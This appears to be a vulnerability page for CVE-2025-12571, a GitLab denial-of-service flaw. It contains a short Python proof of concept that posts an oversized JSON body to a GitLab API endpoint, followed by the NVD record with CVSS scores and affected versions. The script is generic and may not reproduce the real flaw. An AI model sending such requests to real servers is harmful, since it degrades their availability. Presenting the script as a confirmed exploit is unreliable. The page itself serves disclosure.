CVE-2025-12571

import requests import json target = 'https://vulnerable-gitlab-instance.com' payload = json.dumps({'data': 'x' * 100000}) response = requests.post( f'{target}/api/v4/projects', headers={'Content-Type': 'application/json'}, data=payload ) print(f'Status: {response.status_code}')

{"cve": {"id": "CVE-2025-12571", "sourceIdentifier": "[email protected]", "published": "2025-11-26T20:15:47.943", "lastModified": "2025-12-10T23:15:47.473", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 17.10 before 18.4.5, 18.5 before 18.5.3, and 18.6 before 18.6.1 that could have allowed an unauthenticated user to cause a Denial of Service condition by sending specifically crafted requests containing malicious JSON payloads."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "17.10.0", "versionEndExcluding": "18.4.5", "matchCriteriaId": "60BC6173-DBA9-4C2B-A659-78F8221C9FD8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "17.10.0", "versionEndExcluding": "18.4.5", "matchCriteriaId": "3043D7D0-EFF5-4DC6-8C4F-081D5227CFEE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.5.0", "versionEndExcluding": "18.5.3", "matchCriteriaId": "A2361C72-A29E-47BB-A3FD-E4D656AF820F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.5.0", "versionEndExcluding": "18.5.3", "matchCriteriaId": "1B00EBAB-22CC-4350-AED2-60C7F78C0A8F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.6.0:*:*:*:community:*:*:*", "matchCriteriaId": "E53003CF-149D-45C9-8574-B57FDE1F1612"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.6.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "200F0D66-67E2-4C9B-98C5-2F57FF5D7611"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2025/11/26/patch-release-gitlab-18-6-1-released/", "source": "[email protected]"}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/579168", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3362239", "source": "[email protected]", "tags": ["Permissions Required"]}]}}